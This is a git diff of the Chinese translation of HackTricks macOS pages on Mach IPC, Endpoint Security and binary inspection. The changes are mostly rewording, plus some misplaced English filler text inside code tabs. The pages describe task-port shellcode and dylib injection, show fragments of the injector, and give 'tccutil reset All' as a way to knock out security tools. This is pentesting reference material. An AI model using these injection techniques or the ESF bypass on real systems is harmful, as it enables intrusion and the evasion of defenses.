* `msgh_id`:此消息的 ID,由接收方解释。
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -184,7 +185,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}在macOS中,进程间通信(IPC)是实现进程之间数据交换和共享的重要机制。macOS提供了多种IPC机制,如管道、套接字、消息传递等。这些机制可以被恶意软件利用来进行特权升级和攻击。因此,了解macOS IPC的工作原理和安全性对于加固系统至关重要。{% endtab %}
|
||||
{% tab title="sender.c" %}在macOS中,进程间通信(IPC)是实现进程之间数据交换和共享的重要机制。macOS提供了多种IPC机制,如管道、套接字、消息传递等。这些机制可以被恶意软件利用来进行特权升级和攻击。因此,了解macOS IPC的工作原理和安全性对于加固系统非常重要。{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -241,12 +242,12 @@ printf("Sent a message\n");
|
|||
- **主机端口**:如果一个进程对这个端口有**发送**权限,他可以获取关于**系统**的**信息**(例如`host_processor_info`)。
|
||||
- **主机特权端口**:拥有对这个端口的**发送**权限的进程可以执行像加载内核扩展这样的**特权操作**。**进程需要是root**才能获得这个权限。
|
||||
- 此外,为了调用**`kext_request`** API,需要具有其他授权**`com.apple.private.kext*`**,这些授权只赋予给苹果的二进制文件。
|
||||
- **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许控制它。通过它似乎只能获得`task_info()`。
|
||||
- **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许控制它。似乎唯一可以通过它获得的是`task_info()`。
|
||||
- **任务端口**(又名内核端口)**:**拥有对这个端口的发送权限可以控制任务(读/写内存,创建线程等)。
|
||||
- 调用`mach_task_self()`为调用者任务**获取**此端口的名称。此端口仅在**`exec()`**跨越时**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中的`exec()`后,任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
- 调用`mach_task_self()`来为调用者任务获取此端口的**名称**。此端口仅在**`exec()`**跨进程继承;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中的`exec()`后,任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`)如下:
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户**的进程可以访问任务端口(通常由Xcode用于调试)。**经过公证的**进程不会允许将其用于生产发布。
|
||||
- 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户的进程可以访问任务端口**(通常由Xcode用于调试)。**经过公证的**进程不允许将其用于生产发布。
|
||||
- 具有**`com.apple.system-task-ports`**授权的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
|
||||
- **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口(且不是来自苹果)。
|
||||
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
@ -292,25 +293,24 @@ return 0;
|
|||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
#### macOS IPC Overview
|
||||
### Introduction
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, and Distributed Objects. Understanding how these mechanisms work is crucial for both developers and security researchers to analyze potential attack surfaces and design secure applications.
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, Distributed Objects, and UNIX domain sockets.
|
||||
|
||||
#### Mach Ports
|
||||
### Security Implications
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. Each Mach port is associated with a unique port name and namespace, enabling processes to establish communication channels. Understanding how Mach ports are created, managed, and utilized is important for analyzing IPC-based vulnerabilities and developing secure communication protocols.
|
||||
Improperly implemented or misconfigured IPC mechanisms can introduce security vulnerabilities, leading to privilege escalation or unauthorized access to sensitive data. It is crucial to secure IPC mechanisms to prevent potential exploitation by malicious actors.
|
||||
|
||||
#### XPC Services
|
||||
### Best Practices
|
||||
|
||||
XPC services provide a high-level API for creating inter-process communication on macOS. XPC services use Mach ports internally to facilitate communication between processes. By understanding how XPC services are implemented and configured, developers can ensure secure communication between different components of their applications.
|
||||
- **Use Secure IPC Mechanisms**: Always use secure IPC mechanisms that provide authentication and encryption to protect data confidentiality and integrity.
|
||||
- **Implement Proper Access Controls**: Implement proper access controls to restrict which processes can communicate through IPC mechanisms.
|
||||
- **Regularly Audit IPC Configuration**: Regularly audit IPC configuration to identify misconfigurations or vulnerabilities that could be exploited.
|
||||
- **Monitor IPC Activity**: Monitor IPC activity for any suspicious behavior or unauthorized communication between processes.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism on macOS that allows objects to be passed between processes. This mechanism simplifies the development of distributed applications by abstracting the complexity of inter-process communication. Security researchers should be aware of how Distributed Objects are used to prevent potential security risks associated with passing objects between processes.
|
||||
|
||||
By understanding the various IPC mechanisms available on macOS and their underlying implementation details, developers and security researchers can enhance the security posture of their applications and mitigate potential privilege escalation and data leakage risks.
|
||||
By following these best practices, you can enhance the security of IPC mechanisms on macOS and reduce the risk of privilege escalation and data breaches.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -532,23 +532,23 @@ return 0;
|
|||
|
||||
#### macOS IPC Overview
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other. macOS provides various IPC mechanisms such as Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security professionals.
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security professionals to ensure secure communication between processes.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### 通过任务端口在线程中进行 Dylib 注入
|
||||
### 通过任务端口在线程中进行Dylib注入
|
||||
|
||||
在 macOS 中,**线程** 可能通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在之前的注入中生成的线程是使用 Mach api 生成的,因此 **它不符合 posix 标准**。
|
||||
|
||||
之前我们成功注入了一个简单的 shellcode 来执行命令,因为它 **不需要使用 posix** 兼容的 api,只需要使用 Mach。**更复杂的注入** 需要线程也 **符合 posix 标准**。
|
||||
|
||||
因此,为了 **改进线程**,应该调用 **`pthread_create_from_mach_thread`**,这将 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 来 **从系统加载 dylib**,因此不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
|
||||
因此,为了 **改进线程**,应该调用 **`pthread_create_from_mach_thread`** 来 **创建一个有效的 pthread**。然后,这个新的 pthread 可以 **调用 dlopen** 来 **从系统加载一个 dylib**,因此不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
|
||||
|
||||
你可以在这里找到 **示例 dylibs**(例如生成日志然后你可以监听它的示例):
|
||||
你可以在这里找到 **示例 dylibs**(例如生成日志并监听的示例):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -772,14 +772,14 @@ return (-4);
|
|||
}
|
||||
|
||||
|
||||
// 创建线程以运行shellcode
|
||||
// 创建线程来运行 shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
|
||||
//remoteStack64 -= 8; // 需要16字节对齐
|
||||
//remoteStack64 -= 8; // 需要 16 字节对齐
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -808,7 +808,7 @@ int main(int argc, const char * argv[])
|
|||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "用法: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: 磁盘上dylib的路径\n");
|
||||
fprintf (stderr, " _action_: 磁盘上 dylib 的路径\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -820,7 +820,7 @@ int rc = stat (action, &buf);
|
|||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"未找到Dylib\n");
|
||||
fprintf(stderr,"未找到 Dylib\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -874,16 +874,17 @@ MIG旨在简化Mach IPC代码创建过程。它基本上为服务器和客户端
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的公司广告或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家NFT的收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS系统扩展
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 系统扩展 / 端点安全框架
|
||||
|
||||
与内核扩展不同,**系统扩展在用户空间中运行**,而不是内核空间,降低了由于扩展故障导致系统崩溃的风险。
|
||||
与内核扩展不同,**系统扩展在用户空间中运行**,而不是内核空间,从而降低了由于扩展故障导致系统崩溃的风险。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,7 +25,7 @@
|
|||
|
||||
### **DriverKit扩展**
|
||||
|
||||
DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许设备驱动程序(如USB、串行、NIC和HID驱动程序)在用户空间而不是内核空间中运行。DriverKit框架包括**某些I/O Kit类的用户空间版本**,内核将普通的I/O Kit事件转发到用户空间,为这些驱动程序提供更安全的运行环境。
|
||||
DriverKit是内核扩展的替代品,**提供硬件支持**。它允许设备驱动程序(如USB、串行、NIC和HID驱动程序)在用户空间而不是内核空间中运行。DriverKit框架包括**某些I/O Kit类的用户空间版本**,内核将普通的I/O Kit事件转发到用户空间,为这些驱动程序提供更安全的运行环境。
|
||||
|
||||
### **Network扩展**
|
||||
|
||||
|
@ -38,18 +39,18 @@ DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许
|
|||
|
||||
## 端点安全框架
|
||||
|
||||
端点安全是苹果在macOS中提供的一个框架,提供一组用于系统安全的API。它旨在供**安全供应商和开发人员使用,构建可以监视和控制系统活动**以识别和防范恶意活动的产品。
|
||||
端点安全是苹果在macOS中提供的一个框架,为系统安全提供一组API。它旨在供**安全供应商和开发人员使用,构建可以监视和控制系统活动**以识别和防范恶意活动的产品。
|
||||
|
||||
该框架提供了一组API来监视和控制系统活动,如进程执行、文件系统事件、网络和内核事件。
|
||||
|
||||
该框架的核心是在内核中实现的,作为一个位于**`/System/Library/Extensions/EndpointSecurity.kext`**的内核扩展(KEXT)。该KEXT由几个关键组件组成:
|
||||
|
||||
* **EndpointSecurityDriver**:充当内核扩展的“入口点”。它是操作系统与端点安全框架之间的主要交互点。
|
||||
* **EndpointSecurityEventManager**:负责实现内核挂钩。内核挂钩允许框架通过拦截系统调用来监视系统事件。
|
||||
* **EndpointSecurityClientManager**:管理与用户空间客户端的通信,跟踪连接的客户端并需要接收事件通知。
|
||||
* **EndpointSecurityMessageManager**:向用户空间客户端发送消息和事件通知。
|
||||
* **EndpointSecurityDriver**:它充当内核扩展的“入口点”。这是操作系统与端点安全框架之间的主要交互点。
|
||||
* **EndpointSecurityEventManager**:此组件负责实现内核挂钩。内核挂钩允许框架通过拦截系统调用来监视系统事件。
|
||||
* **EndpointSecurityClientManager**:它管理与用户空间客户端的通信,跟踪连接的客户端并需要接收事件通知。
|
||||
* **EndpointSecurityMessageManager**:它向用户空间客户端发送消息和事件通知。
|
||||
|
||||
端点安全框架可以监视的事件分为以下类别:
|
||||
Endpoint Security框架可以监视的事件分为以下类别:
|
||||
|
||||
* 文件事件
|
||||
* 进程事件
|
||||
|
@ -60,46 +61,47 @@ DriverKit是用于**提供硬件支持**的内核扩展替代方案。它允许
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
|
||||
与端点安全框架的**用户空间通信**通过IOUserClient类进行。根据调用者的类型使用两个不同的子类:
|
||||
与Endpoint Security框架的**用户空间通信**通过IOUserClient类进行。根据调用者的类型,使用两个不同的子类:
|
||||
|
||||
* **EndpointSecurityDriverClient**:需要`com.apple.private.endpoint-security.manager`权限,该权限仅由系统进程`endpointsecurityd`持有。
|
||||
* **EndpointSecurityExternalClient**:需要`com.apple.developer.endpoint-security.client`权限。这通常由需要与端点安全框架交互的第三方安全软件使用。
|
||||
* **EndpointSecurityDriverClient**:这需要`com.apple.private.endpoint-security.manager`权限,该权限仅由系统进程`endpointsecurityd`持有。
|
||||
* **EndpointSecurityExternalClient**:这需要`com.apple.developer.endpoint-security.client`权限。这通常由需要与Endpoint Security框架交互的第三方安全软件使用。
|
||||
|
||||
端点安全扩展:**`libEndpointSecurity.dylib`**是系统扩展用于与内核通信的C库。该库使用I/O Kit(`IOKit`)与端点安全KEXT通信。
|
||||
Endpoint Security扩展:**`libEndpointSecurity.dylib`**是系统扩展用于与内核通信的C库。该库使用I/O Kit(`IOKit`)与Endpoint Security KEXT通信。
|
||||
|
||||
**`endpointsecurityd`**是一个关键的系统守护程序,负责管理和启动端点安全系统扩展,特别是在早期引导过程中。**只有**在其`Info.plist`文件中标记为**`NSEndpointSecurityEarlyBoot`**的**系统扩展**才会接收此早期引导处理。
|
||||
|
||||
另一个系统守护程序**`sysextd`**,**验证系统扩展**并将其移动到适当的系统位置。然后它会要求相关的守护程序加载扩展。**`SystemExtensions.framework`**负责激活和停用系统扩展。
|
||||
另一个系统守护程序**`sysextd`**,**验证系统扩展**并将其移动到适当的系统位置。然后,它会要求相关的守护程序加载扩展。**`SystemExtensions.framework`**负责激活和停用系统扩展。
|
||||
|
||||
## 绕过ESF
|
||||
|
||||
ESF被安全工具使用,将尝试检测红队人员,因此任何关于如何避免这种情况的信息都是有趣的。
|
||||
ESF被安全工具使用,将尝试检测红队人员,因此任何关于如何避免这种情况的信息都很有趣。
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
问题在于安全应用程序需要具有**完全磁盘访问权限**。因此,如果攻击者可以移除该权限,他就可以阻止软件运行:
|
||||
问题在于安全应用程序需要具有**完全磁盘访问权限**。因此,如果攻击者能够移除该权限,他就可以阻止软件运行:
|
||||
```bash
|
||||
tccutil reset All
|
||||
```
|
||||
**更多信息**关于这个绕过和相关内容,请查看演讲[#OBTS v5.0: "终端安全的致命弱点" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
有关此绕过和相关内容的**更多信息**,请查看演讲[#OBTS v5.0: "终端安全的致命弱点" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
|
||||
最后,通过将新权限**`kTCCServiceEndpointSecurityClient`**授予由**`tccd`**管理的安全应用程序,解决了这个问题,这样`tccutil`就不会清除其权限,从而阻止其运行。
|
||||
最后,通过向由**`tccd`**管理的安全应用程序授予新权限**`kTCCServiceEndpointSecurityClient`**来修复此问题,因此`tccutil`不会清除其权限,从而阻止其运行。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [**OBTS v3.0: "终端安全与不安全" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# macOS 应用程序 - 检查、调试和模糊测试
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到 **窃取恶意软件** 的 **侵害**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
|
@ -59,7 +60,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
|
|||
ARCH=arm64e disarm -c -d /path/bin # Get disasembled
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
|
||||
```
|
||||
您可以在[**这里下载 jtool2**](http://www.newosxbook.com/tools/jtool.html) 或使用 `brew` 进行安装。
|
||||
您可以在[**这里下载jtool2**](http://www.newosxbook.com/tools/jtool.html)或使用 `brew` 进行安装。
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -147,17 +148,17 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
|||
|
||||
### 函数调用
|
||||
|
||||
当在使用 Objective-C 的二进制文件中调用函数时,编译后的代码不会直接调用该函数,而是会调用 **`objc_msgSend`**。这将调用最终的函数:
|
||||
当在使用 Objective-C 的二进制文件中调用函数时,编译后的代码不会直接调用该函数,而是会调用 **`objc_msgSend`**。这将调用最终函数:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
此函数期望的参数包括:
|
||||
此函数期望的参数为:
|
||||
|
||||
* 第一个参数(**self**)是“指向**接收消息的类的实例**的指针”。简单来说,它是方法被调用的对象。如果方法是类方法,则这将是类对象的一个实例(整体),而对于实例方法,self 将指向作为对象的类的实例化实例。
|
||||
* 第二个参数(**op**)是“处理消息的方法的选择器”。简单来说,这只是**方法的名称**。
|
||||
* 其余参数是方法所需的任何**值**(op)。
|
||||
|
||||
查看如何在 ARM64 中使用 `lldb` **轻松获取此信息**:
|
||||
查看如何在 ARM64 中使用 `lldb` 轻松获取此信息:
|
||||
|
||||
{% content-ref url="arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](arm64-basic-assembly.md)
|
||||
|
@ -168,12 +169,12 @@ x64:
|
|||
| **参数** | **寄存器** | **(用于) objc\_msgSend** |
|
||||
| ----------------- | -------------------------------------------------------------- | --------------------------------------------------- |
|
||||
| **第 1 个参数** | **rdi** | **self:方法被调用的对象** |
|
||||
| **第 2 个参数** | **rsi** | **op:方法的名称** |
|
||||
| **第 3 个参数** | **rdx** | **方法的第一个参数** |
|
||||
| **第 4 个参数** | **rcx** | **方法的第二个参数** |
|
||||
| **第 5 个参数** | **r8** | **方法的第三个参数** |
|
||||
| **第 6 个参数** | **r9** | **方法的第四个参数** |
|
||||
| **第 7 及更多参数** | <p><strong>rsp+</strong><br><strong>(在堆栈上)</strong></p> | **方法的第五个及更多参数** |
|
||||
| **第 2 个参数** | **rsi** | **op:方法的名称** |
|
||||
| **第 3 个参数** | **rdx** | **方法的第一个参数** |
|
||||
| **第 4 个参数** | **rcx** | **方法的第二个参数** |
|
||||
| **第 5 个参数** | **r8** | **方法的第三个参数** |
|
||||
| **第 6 个参数** | **r9** | **方法的第四个参数** |
|
||||
| **第 7 及更多参数** | <p><strong>rsp+</strong><br><strong>(在堆栈上)</strong></p> | **方法的第五个及更多参数** |
|
||||
|
||||
### 转储 ObjectiveC 元数据
|
||||
|
||||
|
@ -195,11 +196,11 @@ objdump --macho --objc-meta-data /path/to/bin
|
|||
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) 是生成 ObjectiveC 格式代码中类、类别和协议声明的原始工具。
|
||||
|
||||
